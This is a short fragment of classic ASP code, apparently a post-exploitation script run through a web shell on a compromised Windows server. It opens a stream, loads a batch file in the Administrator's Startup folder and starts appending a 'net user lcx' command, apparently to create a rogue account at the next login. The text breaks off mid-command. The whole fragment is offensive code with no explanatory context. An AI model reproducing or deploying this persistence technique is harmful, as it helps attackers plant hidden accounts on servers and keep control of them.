<% on error resume next dim lcxset lcx=server.CreateObject(“Adodb.Stream”) lcx.Open lcx.Type=2 lcx.CharSet=”gb2312″ lcx.LoadFromFile “C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat” lcx.Position=lcx.Size lcx.writetext “net user lcx